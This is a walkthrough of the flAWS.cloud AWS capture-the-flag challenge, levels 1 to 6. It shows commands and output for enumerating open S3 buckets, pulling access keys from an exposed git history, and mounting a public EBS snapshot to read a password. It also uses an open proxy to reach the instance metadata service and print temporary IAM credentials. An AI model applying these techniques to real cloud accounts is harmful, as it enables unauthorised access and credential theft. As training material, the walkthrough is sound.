flAWS.cloud
Level 1
Description
This level is buckets of fun. See if you can find the first sub-domain.
Solution
The description of the level is quite indicative. To advance to the next level, I have to find a bucket that probably contains information on how to get to the next level.
Using s3scanner
I can enumerate a bucket. Luckily, this bucket allows
everyone to access its content.
$ s3scanner -bucket flaws.cloud INFO exists | flaws.cloud | us-west-2 | AuthUsers: [] | AllUsers: [READ]
After logging in to the AWS cli, I am able to list and download the bucket content.
$ aws --region us-east-2 s3 ls flaws.cloud 2017-03-14 04:00:38 2575 hint1.html 2017-03-03 05:05:17 1707 hint2.html 2017-03-03 05:05:11 1101 hint3.html 2024-02-22 03:32:41 2861 index.html 2018-07-10 18:47:16 15979 logo.png 2017-02-27 02:59:28 46 robots.txt 2017-02-27 02:59:30 1051 secret-dd02c7c.html $ aws --region us-east-2 s3 cp s3://flaws.cloud/secret-dd02c7c.html secret-dd02c7c.html download: s3://flaws.cloud/secret-dd02c7c.html to ./secret-dd02c7c.html
To enter the next level, the following URL can be used. http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/
Level 2
Description
The next level is fairly similar, with a slight twist. You’re going to need your own AWS account for this. You just need the free tier.
Solution
The web page for level 2 is hosted on s3 as well but from a different bucket. The bucket has the same name as the domain of the website.
$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ 2017-02-27 03:02:15 80751 everyone.png 2017-03-03 04:47:17 1433 hint1.html 2017-02-27 03:04:39 1035 hint2.html 2017-02-27 03:02:14 2786 index.html 2017-02-27 03:02:14 26 robots.txt 2017-02-27 03:02:15 1051 secret-e4443fc.html $ aws s3 cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html . download: s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html to ./secret-e4443fc.html
To enter the next level, the following URL can be used.
Level 3
Description
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you’ll find something that will let you list what other buckets are.
Solution
Looking again at the bucket of the subdomain reveals that there is a .git
directory.
$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ PRE .git/ 2017-02-27 01:14:33 123637 authenticated_users.png 2017-02-27 01:14:34 1552 hint1.html 2017-02-27 01:14:34 1426 hint2.html 2017-02-27 01:14:35 1247 hint3.html 2017-02-27 01:14:33 1035 hint4.html 2020-05-22 20:21:10 1861 index.html 2017-02-27 01:14:33 26 robots.txt
The repository can be downloaded via the following command
$ aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git .git
Checking the git history yield an interesting commit message.
$ git log commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master) Author: 0xdabbad00 <scott@summitroute.com> Date: Sun Sep 17 09:10:43 2017 -0600 Oops, accidentally added something I shouldn't have commit f52ec03b227ea6094b04e43f475fb0126edb5a61 Author: 0xdabbad00 <scott@summitroute.com> Date: Sun Sep 17 09:10:07 2017 -0600 first commit
Diffing the changes since the initial commit gives me access keys.
$ git diff f52ec03
diff --git a/access_keys.txt b/access_keys.txt
deleted file mode 100644
index e3ae6dd..0000000
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAJ366LIPB4IJKT7SA
-secret_access_key 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
Once the access keys are set as environment variables, I am able to list all buckets to which the access keys have access to.
$ export AWS_ACCESS_KEY_ID=AKIAJ366LIPB4IJKT7SA $ export AWS_SECRET_ACCESS_KEY=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 $ aws s3 ls 2020-06-25 19:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud 2020-06-27 01:06:07 config-bucket-975426262029 2020-06-27 12:46:15 flaws-logs 2020-06-27 12:46:15 flaws.cloud 2020-06-27 17:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud 2020-06-27 17:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud 2020-06-27 17:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud 2020-06-27 17:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud 2020-06-27 17:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud 2020-06-28 04:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
This reveals the domain of the next level. http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
Level 4
Description
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.
Solution
Knowing an s3 bucket which we can access, it is possible to enumerate the
account-id of the owner account. As I can retrieve a file listing from the
bucket and can download files, I assume I have the required rights to
enumerate the account id via s3. The required rights are s3:GetObject
and
s3.ListBucket
$ s3-account-search arn:aws:iam::<ATTACKER_ACCOUNT_ID>:role/s3-searcher flaws.cloud Starting search (this can take a while) [...] 975426262029
The challenge description indicates that the challenge is probably about
some sort of snapshots. EBS snapshots can be made public intentionally
or by accident. By using pacu
it is possible to enumerate
publicly available EBS snapshots.
Pacu (level4:from_default-<REDACTED>) > run ebs__enum_snapshots_unauth --account-id 975426262029 Running module ebs__enum_snapshots_unauth... [ebs__enum_snapshots_unauth] Starting region ap-northeast-1... [ebs__enum_snapshots_unauth] Starting region ap-northeast-3... [ebs__enum_snapshots_unauth] Starting region ap-south-1... [ebs__enum_snapshots_unauth] Starting region ap-southeast-2... [ebs__enum_snapshots_unauth] Starting region eu-north-1... [ebs__enum_snapshots_unauth] Starting region eu-west-2... [ebs__enum_snapshots_unauth] Starting region eu-west-3... [ebs__enum_snapshots_unauth] Starting region me-central-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region sa-east-1... [ebs__enum_snapshots_unauth] Starting region us-gov-west-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region af-south-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region ap-northeast-2... [ebs__enum_snapshots_unauth] Starting region ap-south-2... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region ap-southeast-4... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region eu-south-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region il-central-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region us-east-1... [ebs__enum_snapshots_unauth] Starting region us-east-2... [ebs__enum_snapshots_unauth] Starting region us-gov-east-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region us-west-2... [ebs__enum_snapshots_unauth] [+] Snapshot found: snap-0b49342abd1bdcb89 [ebs__enum_snapshots_unauth] Starting region ap-east-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region ap-southeast-1... [ebs__enum_snapshots_unauth] Starting region ap-southeast-3... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region ca-central-1... [ebs__enum_snapshots_unauth] Starting region ca-west-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region cn-north-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region eu-central-2... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region eu-south-2... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region eu-west-1... [ebs__enum_snapshots_unauth] Starting region me-south-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region cn-northwest-1... FAILURE: AuthFailure [ebs__enum_snapshots_unauth] Starting region eu-central-1... [ebs__enum_snapshots_unauth] Starting region us-west-1... [ebs__enum_snapshots_unauth] ebs__enum_snapshots_unauth completed. [ebs__enum_snapshots_unauth] MODULE SUMMARY: 1 EBS Snapshots found Keyword/AccountId: 975426262029, SnapshotId: snap-0b49342abd1bdcb89, Region: us-west-2, Description: , OwnerId: 975426262029, Encrypted: False
This snapshot most likely will contain information to advance to the next level. To access the content of the snapshot an EC2 instance is required. Prior to running an EC2 instance a VPC, Subnet etc. is required. Since an AMI is also required for launching an instance, I have to get the ID of an AMI. In this case I want the image to be from Canonical (owner id 099720109477).
$ AMI=$(aws ec2 describe-images \ --filters 'Name=name,Values=ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*' \ --owners 099720109477 \ --query 'Images[*].[ImageId,CreationDate]' \ --region us-east-2 \ --output text | sort -k2 -r | head -n1 | awk '{ print $1 }')
Next, I need a mapping configuration to specify that the snapshot should be mapped to the instance.
cat << EOF > ./mappings.json [ { "DeviceName": "/dev/sdh", "Ebs": { "SnapshotId": "$SnapshotId" } } ] EOF
Now I can start an instance.
aws ec2 run-instances --image-id $AMI \ --region us-east-2 \ --count 1 \ --instance-type t2.micro \ --key-name attacker-key \ --security-group-ids sg-05645b3911c6da110\ --subnet-id subnet-09dfb4f4e2e3e2de3\ --block-device-mappings file://./mappings.json
Once the instance is started, I query its public IP.
export EC2IP=$(aws ec2 describe-instances \ --query 'Reservations[].Instances[]' \ --region us-east-2 | jq -r '.[] | select(.State.Name=="running") | select(.KeyName=="attacker-key") | .PublicIpAddress')
With this IP, I am able to login to the instance via ssh where I can mount the snapshot.
ssh -i ./attacker-key.pem ubuntu@$EC2IP
ubuntu@ip-10-1-0-136:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS loop0 7:0 0 25.2M 1 loop /snap/amazon-ssm-agent/7993 loop1 7:1 0 55.7M 1 loop /snap/core18/2823 loop2 7:2 0 63.9M 1 loop /snap/core20/2318 loop3 7:3 0 87M 1 loop /snap/lxd/28373 loop4 7:4 0 38.8M 1 loop /snap/snapd/21759 xvda 202:0 0 8G 0 disk ├─xvda1 202:1 0 7.9G 0 part / ├─xvda14 202:14 0 4M 0 part └─xvda15 202:15 0 106M 0 part /boot/efi xvdh 202:112 0 1G 0 disk ubuntu@ip-10-1-0-136:~$ sudo mount /dev/xvdh /mnt ubuntu@ip-10-1-0-136:~$ ls /mnt/ bin boot dev etc home lib lost+found media mnt opt proc root run sbin srv sys tmp usr var
The snapshot contains a Linux file system. Within the home folder of the user ubuntu there is a bash script named setupNginx.sh. This contains the username and password to advance to the next level.
root@ip-10-1-0-194:/# cat home/ubuntu/setupNginx.sh htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
To enter the next level, the following URL can be used. http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/
Level 5
Description
This EC2 has a simple HTTP only proxy on it. Here are some examples of it’s usage:
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.
Solution
The description is quite indicative. There is a proxy service running on level 5 and it simply requests the URL passed after the path /proxy. This way it is possible to reach the instance meta data service to request temporary credentials that are assigned to the instance.
$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws { "Code" : "Success", "LastUpdated" : "2024-06-20T17:40:05Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA6GG7PSQGSG5NAI4F", "SecretAccessKey" : "9YskhN8VPvF7KfukEQ0kgKIbt/tl5anPietvu8sz", "Token" : "IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLXdlc3QtMiJGMEQCIEWyBlPALHoPiN7ebq4R89L6bnyqJPvNa6D97Eh3VbvrAiAHtaqAx6OwqvmCsj6b+aq7ZCNBGHttWDNQF5pofUXGFyqyBQhLEAQaDDk3NTQyNjI2MjAyOSIMRfoQ34Betnz/3TcQKo8FulOX7gDbg7WWaytXvnsfrUSNkh1qaQo+PrDHP+0VZCu95VxajX7J3kjyWn0t7MlfLSxRletrBQ0zFln/K7rv2Bzol6iLJzU7zlwCSfFxvgWFexiEHaP3sGEhaJgXYEZQaJ8+ZabMwk28bQpPKgjysfXWTkc9tHMP8rb0L+BxSY/3A1tdTt5rBMpPI4closL0pQq3ezvG7qh7FRst8I4ZLFKd8MQuKhBSlnN0BOCvxG8hQ8QPkYdO3E4oB307Vva1Bd+iak9OLpBZ6dBd/mzXngCmQd5tf1fnkIHNSDd/WJ7HYdmi01SWCHlDJN3t3F14gxQx7bDPi6D7TfuCpuyCQUJIQ9xzyiNt3AfaEpqvdSI7gig/UNeUBcvRZa/aJmBQpbHQ9W6WxCjO3egeJyBN4tufQyH26S0epSuECvINKCrXA70ZB8nbB8VzaAS6xb5PfsDDi6T4dLIwwfCSKAhOGotG9QC0YfAjU9/jg6JJ3T9q0eEjd6DU44VAhwFbmyeGfD/YWIEhHEOyESsowj4m9I3b+kLUMykKH1r3fhbUelLEYHN870WDyBi24KkboklABamdClP5KgDFDjahyWBJVW+jyXwi0G6JVQE263jr4kaJCAohyfs30wpjyTb9vadeWXVFvb1z5Ofh8HkdE/bsFPbEx3WID0tkCH5YINEU0zM8w8oR9zz0q5nvSV76Vmys8TdZJadaDf4rh73Yjpk6WA6QI5ifZ3AO1xdjFJWq4uOfGGg9amBx/+Ncy2MDInXwosYVnQVfK0swm75sgzLMMhPyb21adqtlQDSeFaawD35KifKoHTpVws29GRYQbNW9ntUl5Ri7+5AY09EfNRi5Ht83irSdS2ACUBEo6l/4tjDl0tGzBjqyAa03OSLLlB3BM3GpZk+FFCX5YMFXwKtTdo8ic5zzVP1sbuhF1N3JGwKRw3P1KDJSA33c4OztxXcpWxleoOEJOX5rY5q8ZVphJml80X799TzMa9E1n+pbTyTOFQZQP0dxzf+rt9scZ0DwYRFwOgdTCVB/Uai3pIcY9Q+kW07H0OwVR1uJO02VshEgtiCscd+vsCa3ALBxAAh9ZjBxQxRC4QMWrUYsREG5uFInXixdbninTsk=", "Expiration" : "2024-06-21T00:04:44Z" }
The next step is to set the respective variable to be able to interact with the AWS API.
$ export AWS_ACCESS_KEY_ID=ASIA6GG7PSQGSG5NAI4F $ export AWS_SECRET_ACCESS_KEY=9YskhN8VPvF7KfukEQ0kgKIbt/tl5anPietvu8sz $ export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLXdlc3QtMiJGMEQCIEWyBlPALHoPiN7ebq4R89L6bnyqJPvNa6D97Eh3VbvrAiAHtaqAx6OwqvmCsj6b+aq7ZCNBGHttWDNQF5pofUXGFyqyBQhLEAQaDDk3NTQyNjI2MjAyOSIMRfoQ34Betnz/3TcQKo8FulOX7gDbg7WWaytXvnsfrUSNkh1qaQo+PrDHP+0VZCu95VxajX7J3kjyWn0t7MlfLSxRletrBQ0zFln/K7rv2Bzol6iLJzU7zlwCSfFxvgWFexiEHaP3sGEhaJgXYEZQaJ8+ZabMwk28bQpPKgjysfXWTkc9tHMP8rb0L+BxSY/3A1tdTt5rBMpPI4closL0pQq3ezvG7qh7FRst8I4ZLFKd8MQuKhBSlnN0BOCvxG8hQ8QPkYdO3E4oB307Vva1Bd+iak9OLpBZ6dBd/mzXngCmQd5tf1fnkIHNSDd/WJ7HYdmi01SWCHlDJN3t3F14gxQx7bDPi6D7TfuCpuyCQUJIQ9xzyiNt3AfaEpqvdSI7gig/UNeUBcvRZa/aJmBQpbHQ9W6WxCjO3egeJyBN4tufQyH26S0epSuECvINKCrXA70ZB8nbB8VzaAS6xb5PfsDDi6T4dLIwwfCSKAhOGotG9QC0YfAjU9/jg6JJ3T9q0eEjd6DU44VAhwFbmyeGfD/YWIEhHEOyESsowj4m9I3b+kLUMykKH1r3fhbUelLEYHN870WDyBi24KkboklABamdClP5KgDFDjahyWBJVW+jyXwi0G6JVQE263jr4kaJCAohyfs30wpjyTb9vadeWXVFvb1z5Ofh8HkdE/bsFPbEx3WID0tkCH5YINEU0zM8w8oR9zz0q5nvSV76Vmys8TdZJadaDf4rh73Yjpk6WA6QI5ifZ3AO1xdjFJWq4uOfGGg9amBx/+Ncy2MDInXwosYVnQVfK0swm75sgzLMMhPyb21adqtlQDSeFaawD35KifKoHTpVws29GRYQbNW9ntUl5Ri7+5AY09EfNRi5Ht83irSdS2ACUBEo6l/4tjDl0tGzBjqyAa03OSLLlB3BM3GpZk+FFCX5YMFXwKtTdo8ic5zzVP1sbuhF1N3JGwKRw3P1KDJSA33c4OztxXcpWxleoOEJOX5rY5q8ZVphJml80X799TzMa9E1n+pbTyTOFQZQP0dxzf+rt9scZ0DwYRFwOgdTCVB/Uai3pIcY9Q+kW07H0OwVR1uJO02VshEgtiCscd+vsCa3ALBxAAh9ZjBxQxRC4QMWrUYsREG5uFInXixdbninTsk=
Now I can access the S3 bucket that is listed in the description.
$ aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/ 2017-03-03 05:36:23 2463 hint1.html 2017-03-03 05:36:23 2080 hint2.html 2020-05-22 20:42:20 2924 index.html
This reveals that level 6 is accessible via the URL https://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
Level 6
Description
For this final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.
- Access key ID: AKIAJFQ6E7BY57Q3OBGA
- Secret: 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
Solution
The challenge description indicates that the user for which credentials where provided may have the AWS managed IAM policy SecurityAudit assigned.
I can enumerate all IAM policies that are currently attached to a user with
the following command. As I may have the SecurityAudit
policy attached I
should have the permissions to do so.
$ aws iam list-attached-user-policies --user-name Level6 { "AttachedPolicies": [ { "PolicyName": "MySecurityAudit", "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit" }, { "PolicyName": "list_apigateways", "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways" } ] }
I can use the aws cli to query more information about each policy object.
This shows me that the MySecurityAudit
policy is of version v1 and the
list_apigateways
is of version v4.
$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit { "Policy": { "PolicyName": "MySecurityAudit", "PolicyId": "ANPAJCK5AS3ZZEILYYVC6", "Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "Most of the security audit capabilities", "CreateDate": "2019-03-03T16:42:45+00:00", "UpdateDate": "2019-03-03T16:42:45+00:00", "Tags": [] } }
$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways { "Policy": { "PolicyName": "list_apigateways", "PolicyId": "ANPAIRLWTQMGKCSPGTAIO", "Arn": "arn:aws:iam::975426262029:policy/list_apigateways", "Path": "/", "DefaultVersionId": "v4", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "List apigateways", "CreateDate": "2017-02-20T01:45:17+00:00", "UpdateDate": "2017-02-20T01:48:17+00:00", "Tags": [] } }
Querying the concrete version of the MySecurityAudit
policy returns the following.
$ aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --version-id v1 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": [ "acm:Describe*", "acm:List*", "application-autoscaling:Describe*", "athena:List*", "autoscaling:Describe*", "batch:DescribeComputeEnvironments", "batch:DescribeJobDefinitions", "clouddirectory:ListDirectories", "cloudformation:DescribeStack*", "cloudformation:GetTemplate", "cloudformation:ListStack*", "cloudformation:GetStackPolicy", "cloudfront:Get*", "cloudfront:List*", "cloudhsm:ListHapgs", "cloudhsm:ListHsms", "cloudhsm:ListLunaClients", "cloudsearch:DescribeDomains", "cloudsearch:DescribeServiceAccessPolicies", "cloudtrail:DescribeTrails", "cloudtrail:GetEventSelectors", "cloudtrail:GetTrailStatus", "cloudtrail:ListTags", "cloudwatch:Describe*", "codebuild:ListProjects", "codedeploy:Batch*", "codedeploy:Get*", "codedeploy:List*", "codepipeline:ListPipelines", "codestar:Describe*", "codestar:List*", "cognito-identity:ListIdentityPools", "cognito-idp:ListUserPools", "cognito-sync:Describe*", "cognito-sync:List*", "datasync:Describe*", "datasync:List*", "dax:Describe*", "dax:ListTags", "directconnect:Describe*", "dms:Describe*", "dms:ListTagsForResource", "ds:DescribeDirectories", "dynamodb:DescribeContinuousBackups", "dynamodb:DescribeGlobalTable", "dynamodb:DescribeTable", "dynamodb:DescribeTimeToLive", "dynamodb:ListBackups", "dynamodb:ListGlobalTables", "dynamodb:ListStreams", "dynamodb:ListTables", "ec2:Describe*", "ecr:DescribeRepositories", "ecr:GetRepositoryPolicy", "ecs:Describe*", "ecs:List*", "eks:DescribeCluster", "eks:ListClusters", "elasticache:Describe*", "elasticbeanstalk:Describe*", "elasticfilesystem:DescribeFileSystems", "elasticloadbalancing:Describe*", "elasticmapreduce:Describe*", "elasticmapreduce:ListClusters", "elasticmapreduce:ListInstances", "es:Describe*", "es:ListDomainNames", "events:DescribeEventBus", "events:ListRules", "firehose:Describe*", "firehose:List*", "fsx:Describe*", "fsx:List*", "gamelift:ListBuilds", "gamelift:ListFleets", "glacier:DescribeVault", "glacier:GetVaultAccessPolicy", "glacier:ListVaults", "globalaccelerator:Describe*", "globalaccelerator:List*", "greengrass:List*", "guardduty:Get*", "guardduty:List*", "iam:GenerateCredentialReport", "iam:Get*", "iam:List*", "iam:SimulateCustomPolicy", "iam:SimulatePrincipalPolicy", "iot:Describe*", "iot:List*", "kinesis:DescribeStream", "kinesis:ListStreams", "kinesis:ListTagsForStream", "kinesisanalytics:ListApplications", "kms:Describe*", "kms:List*", "lambda:GetAccountSettings", "lambda:GetPolicy", "lambda:List*", "license-manager:List*", "logs:Describe*", "logs:ListTagsLogGroup", "machinelearning:DescribeMLModels", "mediaconnect:Describe*", "mediaconnect:List*", "mediastore:GetContainerPolicy", "mediastore:ListContainers", "opsworks-cm:DescribeServers", "organizations:List*", "quicksight:Describe*", "quicksight:List*", "ram:List*", "rds:Describe*", "rds:DownloadDBLogFilePortion", "rds:ListTagsForResource", "redshift:Describe*", "rekognition:Describe*", "rekognition:List*", "robomaker:Describe*", "robomaker:List*", "route53:Get*", "route53:List*", "route53domains:GetDomainDetail", "route53domains:GetOperationDetail", "route53domains:ListDomains", "route53domains:ListOperations", "route53domains:ListTagsForDomain", "route53resolver:List*", "s3:ListAllMyBuckets", "sagemaker:Describe*", "sagemaker:List*", "sdb:DomainMetadata", "sdb:ListDomains", "securityhub:Get*", "securityhub:List*", "serverlessrepo:GetApplicationPolicy", "serverlessrepo:List*", "sqs:GetQueueAttributes", "sqs:ListQueues", "ssm:Describe*", "ssm:ListDocuments", "storagegateway:List*", "tag:GetResources", "tag:GetTagKeys", "transfer:Describe*", "transfer:List*", "translate:List*", "trustedadvisor:Describe*", "waf:ListWebACLs", "waf-regional:ListWebACLs", "workspaces:Describe*" ], "Resource": "*", "Effect": "Allow" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2019-03-03T16:42:45+00:00" } }
This looks much like the regular SecurityAudit policy. So nothing really useful for the moment.
$ aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": [ "apigateway:GET" ], "Effect": "Allow", "Resource": "arn:aws:apigateway:us-west-2::/restapis/*" } ] }, "VersionId": "v4", "IsDefaultVersion": true, "CreateDate": "2017-02-20T01:48:17+00:00" } }
The list_apigateways
policy would allow me access to apigateways in the
us-west-2 region. However, to query additional information about the api, I
need the api ID. The apigateway may be used to call a lambda function.
Therefore, I check if I can find any lambda function.
$ aws --region us-west-2 lambda list-functions { "Functions": [ { "FunctionName": "Level6", "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6", { "Functions": [ { "FunctionName": "Level6", "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6", "Runtime": "python2.7", "Role": "arn:aws:iam::975426262029:role/service-role/Level6", "Handler": "lambda_function.lambda_handler", "CodeSize": 282, "Description": "A starter AWS Lambda function.", "Timeout": 3, "MemorySize": 128, "LastModified": "2017-02-27T00:24:36.054+0000", "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 }, "SnapStart": { "ApplyOn": "None", "OptimizationStatus": "Off" }, "LoggingConfig": { "LogFormat": "Text", "LogGroup": "/aws/lambda/Level6" } } ] }
Luckily there is one lambda function. It is called Level6 so I assume this is the way to advance to the next level. Enumerating the lambda API a bit more reveals that I am allowed to query the resource policy that is attached to the function. Lambda functions, just like s3 buckets can have resource policies assigned to control who can access the resource.
$ aws --region us-west-2 lambda get-policy --function-name Level6 | jq -r .Policy | jq -r { "Version": "2012-10-17", "Id": "default", "Statement": [ { "Sid": "904610a93f593b76ad66ed6ed82c0a8b", "Effect": "Allow", "Principal": { "Service": "apigateway.amazonaws.com" }, "Action": "lambda:InvokeFunction", "Resource": "arn:aws:lambda:us-west-2:975426262029:function:Level6", "Condition": { "ArnLike": { "AWS:SourceArn": "arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6" } } } ] }
The policy reveals the api id in the Condition statement.
Knowing the api id, I can query apigateway
$ aws --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" { "item": [ { "deploymentId": "8gppiv", "stageName": "Prod", "cacheClusterEnabled": false, "cacheClusterStatus": "NOT_AVAILABLE", "methodSettings": {}, "tracingEnabled": false, "createdDate": "2017-02-27T01:26:08+01:00", "lastUpdatedDate": "2017-02-27T01:26:08+01:00" } ] }
Knowing the stage allows me to construct the api endpoint https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6